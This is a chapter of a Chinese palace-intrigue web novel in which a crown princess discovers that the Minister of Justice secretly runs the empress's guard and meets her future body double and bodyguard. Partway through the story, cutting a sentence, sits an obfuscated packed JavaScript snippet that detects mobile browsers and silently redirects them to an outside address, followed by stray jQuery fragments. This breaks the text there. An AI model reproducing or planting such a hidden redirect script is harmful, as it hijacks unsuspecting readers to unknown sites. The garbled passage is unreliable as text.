楚天机走后,这东都着实没趣。
云簪没什么新灵感,待在木工作坊闲得慌,想寻点新乐子。
她杵着下巴叹气:“果然不该让他走。以往还会来我的小厨房送点食材,现在倒好,一点乐趣都没了。”
淮叶奉女帝之命来请:“殿下。陛下问,何时去六部领差遣。若今日不去,不妨去御花园逛逛。”
“嗯?淮叶姑姑,母皇是想同孤来个花园偶遇吗?”云簪扔掉话本,带黍离跑去御花园。
麻姑在后面追出两步,让菽娇也赶紧跟上去。
淮叶掩袖轻笑:“麻姑,别担心。殿下去见陛下,无妨。”
“是,天家母女连心,陛下真是宠爱太女。”麻姑行礼,送走淮叶。
*
御花园,云簪来时见几名男子乐工在奏乐,母皇倚靠美人榻,指尖轻叩节拍。
她想起在南旋府绿风郡的父亲,指不定现在还上山伐木,跺脚喊:“散了散了……都散了。”
乐声戛然而止。
乐工们齐齐行礼:“殿下。”
云簪躲开这些妖妖娆娆的男人,跑进花亭:“母皇……”
女官淮南向她行礼,示意乐工们站好,齐齐面向女帝和太女。
女帝拉云簪坐下,让她看过去:“他们不好看吗?”
“俗不可耐!”云簪嫌弃地别过脸,又忍不住偷瞥。
说实话,这些乐工五官对称,没有缺陷,活像一根根修平笔直的干净木料。
这种木材好是好,可往往只能做建筑内部的褡木,如同拔步床内里的直木薄板,成不了支撑整体的内外骨梁。若真正好的木材会用作床的四角、外梁横板,内中梁木,以稳固整个框架。
而这些,俗称:食之无味,弃之可惜!
女帝见她真无兴趣,挥手令乐工们退下,随即轻叹:“唉!”
“母皇作何叹气?”云簪不解。
女帝神色复杂地笑了笑:“母皇既忧心你将来耽于享乐,又怕你过于平直无趣。你六岁时,朕允你离京,便想你在宫外学些不一样的喜好。
如今,你不迷歌舞享乐,朕既安心,又十分担忧。你告诉母皇,除却你父亲的爱好,你还喜欢什么?”
楚天机!逗楚天机生气!气他个半死又无可奈何,真正好玩!
云簪自是不能这么说,翘起唇角,迎向女帝疑惑的目光,琢磨道:“儿臣听父亲说,母皇除东方元帅的铁甲军外还有一支奇兵,隶属母皇亲掌。
他们在何处?”
“呵!”女帝搭上云簪伸来的手,起身向亭外走,示意男女宫侍离远些,“你想掌隐卫?”
“儿臣听国师行如提过,母皇当年西征,除三军外,另有一支奇兵。他们来自南蜀,个个阴诡毒辣,在西征战场上立下功劳。
后来,战事平定,这支奇兵没有编入铁甲军,反而销声匿迹。民间传说,母皇已经将他们遣返家乡。”
云簪扶着女帝向后宫走去。
女帝颔首:“接着说。”
云簪:“儿臣猜测,母皇一定还留着他们。往日,儿臣出门在外,暗中护着的隐卫就是他们吧。另外,母皇拨给楚天机的游雀,应该也出自隐卫营。”
“绕这么大圈子,你还是想知道楚天机回南蜀后的动向?”女帝一语点破她的心思,低首噙笑,“真这么喜欢他?”
云簪撇脸,硬撑道:“他是母皇给儿臣定下的太女夫,孤不喜欢还能换?”
“嘴硬。天机的五官像极他母亲五毒银花,身板骨架又像他父亲楚甲子。将来,他的性情无论像谁,都不会是三心二意的孩子。只是,你要得到他,让他对你俯首称臣、以你为先,却不能用你先前的办法。”
女帝观她沉吟,不再多言,引她往栖凤宫。
云簪边走边思索:“母皇既这么说,定有十足把握帮儿臣成事吧?那究竟要如何让楚天机喜欢儿臣,对儿臣一心一意、死心塌地?”
女帝莞尔,轻抚她肩头:“事在人为。男女情事也是事。朕的女儿尊贵无比,貌美聪慧,天下男子谁会不喜?”
云簪乐了,被母亲夸奖总是让人幸福。
可这说了等于没说,真是让人焦心。
*
栖凤宫乃是皇夫寝殿。新国初建,女帝日理万机,既无皇夫也无侍夫,后宫尽是空殿。
她急于退位也是基于各种考虑,除云簪的成长、南旋那人的苦等外,另有朝臣已经上奏请女皇选夫、充盈后宫。
女帝年轻时候经历过刻骨铭心的感情,历过生死,对男子、后宫之事并不热衷。事到头来,于感情上,万花片叶不如一心一意温馨长远。
她挥退左右,携云簪立在正殿,威严道:“出来吧。”
一道清隽身影从殿后缓步入厅,朝母女二人单膝下跪。
云簪诧异上前,绕他转一圈:“刑部尚书清儒大人?”
人前端方雅正的刑部尚书,竟在暗中执掌神秘莫测的隐卫营?
清儒行礼后起身,温煦的目光投向女帝,复向云簪颔首:“殿下,臣正是隐卫营统领。”
云簪从震惊中回神:“往日,孤只觉得你不像掌刑律的官,想不到你不仅掌刑部,还握隐卫。果真,海水不可斗量,人不可貌相。”
清儒笑得愈发儒雅温和:“臣曾经做过兵部侍郎,上过战场,随陛下西征,驱除摩尔人。”
女帝应道:“没错。太女,万不可以貌取人。清儒本事极大,帮朕良多。”
清儒笑得清透:“陛下过誉,臣愿为陛下鞠躬尽瘁,死而后已。只是,臣再怎样能干,在陛下心中,仍不及东暹王半分。”
云簪惊诧地微张嘴,清儒看起来文质彬彬,拍起马屁来一套一套,既表了忠心又直白说“吃醋”,直接展示弱点……脑中护爹的锣声打响,警惕地望向清儒。
——他看母皇的眼神有种说不出来的……黏腻,真是讨厌!
女帝撇脸微笑,明显是被清儒逗到了。
云簪不喜两人间的气氛,横身立在中间,孺慕道:“母亲,父亲真有那样厉害?”
孤的父亲当然厉害,从母亲口里说出来,才能让清儒死心!
女帝微垂眸光,望向云簪笑得婉婉动人,似透过她看到远在南旋那人。
“他没有同你说过从前的事吗?”声音温柔,语含追忆。每当有人提起那人,总能让她软上三分。
云簪得意觑向清儒,似在说:如何?你与我父亲根本比不了。
清儒挑眉,没想到太女还会借力打力,不愧是女帝的孩子。
云簪转身再接再厉:“母亲,父亲很少提及过去。他总说,无论遇到多大的困境,应该学母亲,一直向前看。”
哼!休想在母皇面前与我爹攀比。
女帝轻拍云簪后脑,这一而再再而三的,已洞悉她的意图,直接向清儒道:“先前朕命你寻的人,如何了?”
“回陛下,人选在数月前已备妥,正在隐卫营接受训练。”清儒敛起温柔的目光,也正了神色。
女帝颔首:“你办事,总是令朕放心。那新人的忠诚又如何?”
清儒的眸光露出嗜血之色:“新人不比旧人。旧人历经天下大乱、战火纷飞,随陛下西征,见证过陛下的杀伐果决。忠诚随战火诞生。新人生于太平,除非疾苦乞儿,否则难以完全驯化。”
“用了何种方式?”女帝微微敛眉。
“南蜀人的蛊毒,前任毒王寨寨主、隐卫营副统领柏山的手笔。”清儒看向云簪,这些称谓可是说给她听,日后有用。转瞬,他又笑问:“太女,您怎么看?”
云簪面对两双锐色眼睛,嚅了唇齿,却不知说什么。
隐卫手段非常、本事极大,控制他们的手法自也非常。用南蜀蛊毒去控制,似乎是最佳办法。
一如武者使剑,剑有双刃。横身出剑时,一面先过自身。
这种方式暂时可用,长期……恐怕引起反心!
女帝拍了拍她,示意她说来。
但云簪看眼清儒,不愿多谈,方法已经用了,多说无益,只需筹谋好日后。
女帝也不勉强太女,向清儒道:“太女有意掌握隐卫营。”
清儒知道这事迟早要来,而且他的计划也正需要此一环。
垂眸向云簪笑道:“殿下乃是未来的天下之主。隐卫营迟早要交给殿下。既殿下有意接管,请亥时至此,臣引殿下前往隐卫营地,正好见见那两人。”
女帝颔首同意了。
云簪看着灯火下微笑的儒雅男人,生出些许寒气。
轻拉女帝衣袖,扯回母皇的注意。
女帝低首,示意云簪回话。
“孤……会如约而至。”云簪感觉不适。
此世间,少有人给她这种宛如被毒蛇缠上的黏腻、窒息感,即使玩蛇的楚天机,都不能让她产生这种厌恶的感觉。
待清儒行过礼走后,云簪捏住女帝衣角:“母皇,我……”
女帝先一步道:“从前你不知清儒掌隐卫营,见他如寻常。今后,你知他双手染血,儒雅表象下是嗜血食骨之能,惧他三分,也属正常。
云簪,莫忘记,他的能耐是朕赋予,所做之事皆是朕应允的了。
而你是太女,未来的女帝,拥有掌握他人生死之力。”
云簪恍然,心下稍许镇定。
这是说,无论隐卫有多厉害,生死皆在女帝一念之间。
女帝又道:“将来,等清儒退下统领之职,下一位统领便是你的贴身隐卫。那人也会为你手染鲜血,至死方歇。你需谨记,若无必要,一生都要善待此人。”
“儿臣……明白了。”云簪应完又问,“那晚上儿臣要见得的人是……”
“入夜后便知。”女帝搀起她的手,环顾这栖凤宫,“来日,你娶了楚天机,这便是他住的地方。你可想过怎么装扮此处?”
云簪环顾空旷简单的栖凤宫,嘟囔道:“装扮什么呀,建个天机宫都说孤浪费钱财人力,随它去吧。”
女帝莞尔,摇着头,领她离去。
*
夜半三更,御花园旁的栖凤宫里,云簪紧紧抓着隐卫的衣袖,闭着眼任对方带自己跃出宫门。领她过来的女官淮南挥了挥手,躬身道:“殿下走好。”
云簪被人带着飞檐走壁,心都颤麻了,硬是咬牙一声不吭!
待跃过东都城墙,隐卫稳稳落地,放下云簪:“殿下,得罪了。”
云簪长吸口气,背对他拍了拍心口,却对上另一手持火把的男子。彼此目光相触,对方垂下头,像是行礼。
环顾幽秘树林,众多火把点亮此地,也照亮一众身穿黑衣、脸戴面具的诡异男子。
咽口吐沫,又看向被隐卫簇拥的车驾,女官淮叶正站在车侧。
淮叶微微一笑,上前来行礼:“殿下,陛下已在车内等候,请随婢子这边走。”
云簪颔首,等她掀帘,上了车,母皇在车内闭目养神。
“母亲!”
女帝张眼,目光如炬,转眼温柔地接住冲来的女儿,揽进怀,安抚道:“吓住了?”
“还好。”云簪可不就被吓住了,被陌生男人抱起,双脚离地天上飞,脚寒心颤,再不想来一次。
女帝摇铃,车外淮叶坐上车辕,下令启程。
云簪掀起车帘,一众杀气腾腾随车的隐卫目不斜视,比军队人还军队。
“母亲,作何这么神秘?”
“东方川没能把你带上屋顶,很遗憾吧?”女帝在夜光珠下笑得熠熠生辉。
向来都是云簪逗别人,没想到自家母皇也来逗人,真是一山还比一山高。
“生气了?”女帝看她扭身朝外,忍不住笑了。
“不敢。”云簪说完被女帝敲在额头,“母亲!”
“讨便宜时就唤母亲。”女帝把她拉近,云簪顺势靠她膝头,缓了缓一路的凉意。
“路很长,吾儿小睡一会。等到了,母亲唤你。”
“嗯。”云簪真睡着了。
一觉醒来已在轿撵上,周围全是山里夜孤鸟的叫声。只是,她既不颠簸,也不感寒意。
“母亲……”
“嘘!”女帝压掌,示意她稍安勿躁,“一会就到了。你睡得熟,娘亲把你抱上轿子。”
云簪听说过母皇能一力降十会,持一杆轩辕枪可抵千军之勇,可从未真正见过,想来母亲抱起自己也是错错有余。
*
东都城郊外的御景山上有座庄园,传闻是前朝隐士故居,后被皇家充作避暑园林。
女帝携云簪入庄园,转辗从庄园经后山到一处山谷。
云簪行在山道上,只觉得暗处有无数眼睛在盯着自己,不免有些惶惶不安。
穿过山谷,又是一处无名庄园。
庄园大门洞开,一身甲胄的男人领数名管事等在门外,等女帝和太女到场,整齐划一跪下行礼。
女帝抬手,示意众人起身,又低首看向云簪。
云簪环顾四处,贴靠在女帝身旁,感受母皇带来的安全。
众人随两人入山庄正厅,厅内大且简单,堂上一幅女帝身穿铠甲、执枪纵马的画像,画像下是长生牌,写着:永庆长存。
永庆正是当今女帝的年号。下首一把凤头交椅,正是女帝之位,再下来是左右各一把椅子,正是隐卫营管事的位置。
堂上,清儒领副统领毒王柏山上前觐见:“清儒、柏山见过陛下、太女!”
“起来吧。”女帝在堂上坐定。旁人搬来把精致高椅,请云簪坐下。
待云簪坐定后,女帝先问清儒:“那两人呢?”
清儒示意毒王柏山,柏山行礼后出去带人。
女帝又朝云簪道:“隐卫营原是一位统领、两副领带队,下面各有管事十人,负责隐卫在民间的选拔、训练、后期任务、后勤管理等诸事。”
云簪好奇那副统领:“那不在的副统领?”
清儒出声道:“那位左副统领出任务时遭了难。如今隐卫营剩下一正一副双职,正是在下,及右副统领毒王柏山。”
云簪不爱搭理他,问女帝:“母皇,那人很重要吗?”
如若平常,应该早有人替了那职位吧。
女帝应道:“南蜀故人。如今隐卫营七成都是南蜀人,大家都惦记他,不愿领他的位置。”
云簪明白了,隐卫营虽是女帝护卫、杀手,却是个有人情的地方。
清儒不置可否地微微一笑:“殿下,隐卫营的隐卫分甲乙丙丁四等,各无姓名,只以一二三四……命名,实力越强排名越靠前。
甲等为陛下、太女护身隐卫;乙等为皇宫各暗哨护卫;丙等存于隐卫营,待陛下下令出任务;丁等散于民间,查探各地府君、三司动向,若有异动,报于隐卫营,由陛下下令处置。”
女帝颔首,又向云簪解释:“自从隐卫营成立以来,清儒选择用代号,而不用各人旧日姓名,反致使隐卫营的人越发惦念情谊。”
云簪这才明白那些人为何不愿取代左副统领的职位。
清儒管理隐卫营确实有一套手段,如今看来,此法也有弊端,只不知何时爆发。
毒王柏山领一对童男童女进殿,面貌清癯,身板气质皆还不错,十岁上下,着一身黑衣,有了隐卫的样子。
柏山介绍:“此女是经隐卫寻访民间,从数千女童中寻到与殿下身形、样貌有六分相似的孩子。”
女帝让小女孩抬头,审视她的面容。女孩眼睛清亮,未有明显的怨恨、不虞,说明隐卫营对她照顾有加。
“云昭是你在南旋的身份,至于袁家姓氏,问孙太公讨来的入考名额。如今,这袁云昭是真正活了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404794|184428||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你让孙卿允袁云昭入职礼部,说明有朝一日,你还要用此身份。既然如此,袁云昭就不可能一直隐身。
此女模样与你相似,品貌不错,由她替了袁云昭的名字。你意下如何?”
云簪颇喜欢“云昭”这个身份,那是她在南旋的身份,是父亲东暹王凌云的女儿。
只是,母皇说得也对,云昭参加科考,又中了状元,举世瞩目,断然不能不明不白没了。
若公开袁云昭就是太女的身份,又恐惹来民间闲话。堂堂太女同百姓抢一状元名号,说得好听是博学多才,难听点就是锅里抢食,闲得慌!
“听母皇安排!”
女帝颔首:“往后,你就是袁云昭,金科状元,任职于礼部。”
占上名的袁云昭在柏山的授意下欣喜行礼:“袁云昭多谢陛下、殿下赐名。”
这在隐卫营是独一份,拥有名字的隐卫,地位非比寻常!
女帝让柏山把袁云昭带下去,又看向规矩站着的男孩:“这人……有几分楚家人面相。”
清儒绽笑:“陛下好眼力。他原叫楚让,乃是护国将军楚甲子的远房亲眷之子。
当年,周朝旧都——金都被慕容贼首攻破,楚家远房流落在外,颠沛流离食不果腹,死得死、散得散,几近灭族。近些年,后人寻访归来,不见护国将军,就想在楚国公府下乞食……”
“等等,”云簪高声质问,“什么叫乞食?说得这么难听。楚天机还能为难这些亲属?”
楚让抬眸扫了眼云簪,又垂下眼。
清儒端方一笑:“殿下整日追着楚国公玩,却不知真正的楚国公心肠有多硬。”
“楚天机……”云簪想要替他辩解,却想起楚天机见面就拿毒针扎人,又到东宫放毒蛇毒蝎子……当年为逼母皇展露金蝉圣蛊的威力,还毒翻过宫里百余宫人。
说他心不硬,真是有些口是心非了。
清儒扬眉,继续道:“楚国公对他们……不甚关心。楚让家人的日子并不如意。”顾忌太女颜面,说得委婉了些。
女帝和云簪都听明白,楚家旁系没得到楚国公的照拂,一落千丈沦为贫民。
“既是楚甲子的亲属,留名待用吧。”女帝看向云簪,“等他出师,进宫找太女。”
往后,若他通过考核,就是你未来的隐卫统领。
云簪明白母皇的意思,见这孩子退下,朝女帝说了声跑出大厅。
她追到后院,才赶上那人:“喂,楚让!”
楚让停下脚步,回身看去,清泠泠的眸光蕴着复杂的情绪。
“殿下不该来这后院。”
“这里又怎么了?”云簪环顾四处,阴深深鬼碎碎的环境,确实有些吓人,“孤……我是来问你,楚天机怎么对你家人了?清儒这样说他。”
楚让抿紧唇,脑海里回想起母亲带兄弟两人找上楚国公府门求他救济的悲惨过往。
“楚国公并没有怎么对我家人。”
只是,兄弟二人进府求见,不小心打死他的蛊蛇,又被赶出来罢了。
若非父亲病重,谁会丢下自尊求人!
只他为条蛊蛇,见死不救。
呵,谁又规定必须救远方亲戚?
说到头,皆是“穷”字害人!
世人讲家族利益,楚天机为人孤僻、性散自由,喜好阴诡,不喜楚氏家人罢了。
楚让想起那段时日,眸中蓄泪,撇脸抹去后生硬道:“属下劝殿下快回前院大堂。隐卫神出鬼没,又喜养蛊虫,若惊扰殿下,受罚得还是我们。”
“你——!”云簪见他傲气离开,哼了声,“就这样的脾气还好意思自称属下。”
幽暗的庭院宛如张嘴吃人的可怕恶兽。云簪虽胆大,却不虎,沿路返回大堂。
楚让一路跟着她,目送她进堂才离去。
毒王柏山出来,夸奖道:“做的不错,这才是太女贴身隐卫的做法。好好学习,我看好你。”
楚让朝他行礼,入了幽暗后院。
正厅里,女帝吩咐清儒一些事,见云簪回来,笑道:“可是打听清楚了?”
云簪扭捏,什么都瞒不过母皇。撇开此话题,转而问:“母皇,袁云昭真要做儿臣的替身?”
“不错。她不能经常出现在礼部,也不能不在。将来你若不在朝中,她可以替你遮掩。”女帝解答道。
云簪又问:“楚让呢?”
“楚让是自愿做隐卫。朕听说他挺能吃苦。朕让人善待他的家人,他还有一个弟弟,有钱入学堂了。日后,弟弟凭本事在朝为官。哥哥若过得了隐卫营的关卡,来日正是你手中的刀。”
女帝耐心等她接收这些。
“恩威并施。”云簪了然。
女帝颔首,抚摸她鬓边小髻:“其实,最弥足珍贵的情谊都离不开掌握一颗人心。朕想让楚让与你一起成长,只怕来日为楚天机树敌,罢了。”
“母亲对楚天机还真是偏心。楚甲子将军定是为母亲付出许多。”云簪撇嘴,“掌心控人之术。孤同楚天机一起生活两年,没见他对孤有什么不同。不过,特别讨厌孤罢了。”
“甲子为朕战死,自是非比寻常。”女帝半笑不笑地摇头:“天机性格要强,自尊心重,不喜被人强迫做事。他与楚让不同,你的皇夫必须是楚天机。至于旁人,只要你拿捏住楚天机,后宫要多少侍君、侍夫,天下无人敢指摘你。”
云簪尴尬地扯起唇角,受过父亲的教育,对男女之事尚停留在一生一世一双人。
流转眼眸,又问:“隐卫做到什么程度才算出师?”
清儒得到女帝眼神,上前解释:“回殿下,隐卫需精通暗杀、隐匿、寻踪之术,此外得掌握简单的蛊毒之术。最重要一点是绝对忠诚,对陛下、殿下绝无二心。”
云簪想起那句“新不如旧”,恐怕新人的忠诚还得靠蛊毒维持。
“隐卫掌握蛊毒之术?你又用蛊毒控制他们,这不是自相矛盾吗?”
清儒笑了。
女帝也颔首微笑:“这正是清儒的高明之处,让人又爱又恨。”
清儒款款,迎着女帝眼神,弯下身段:“清儒只敢让陛下喜欢。”
又来?!云簪气红脸,直接站他面前瞪去,一脸警告之色。随即,她想起白日之事。清儒提说用蛊毒控制新进隐卫,以此掌控他们的忠诚,又让自己来表态……当时若直接指摘清儒手段毒辣,岂不是中了他的计?!
好一个兵部尚书,好一个清儒统领!
这是云簪至今遇上得最难对付的人。一不小心就踩进他的陷阱,幸好父亲教导:万事留一线。
只要够谨慎,就不容易中招。
女帝看她这副恍然、气炸的模样,直接笑出声:“哈哈哈……清儒,你可是把太女难住了。退下吧,别让她把你惦记上,往后朕退位,你就惨了。”
清儒暗敛眸光,微微笑道:“被殿下惦记,是臣的荣幸。”
嘴上一套,行动上绕过云簪直接向女帝行礼,再退走,全程忽视云簪。
云簪一脸郁气,随即如斗败的小公鸡,不甘心地哼了声。
女帝拉过女儿,轻声道:“你对云昭一事还有疑虑吗?”
云簪脑海里全是奸诈小人清儒,回神摇头。
女帝追问:“倘若袁云昭有一日想鱼目混珠、以假乱真,又当如何?”
“当然是……”云簪想到清儒若敢越俎代庖,咬牙道,“杀了他!?”
“不错。天下之主,有能者居之。倘若那天你败了,她赢了,死得就是你。”女帝身蕴肃杀,神情冷冽,“记住母皇这句话。皇位不是非你不可,若不是你,你必死无疑。”
云簪一个激灵回过神,正视女帝这问题,清透黑亮的眼神蕴着些许退缩。
女帝看她神情,万千担忧藏心中,可终究得让她一人走下去。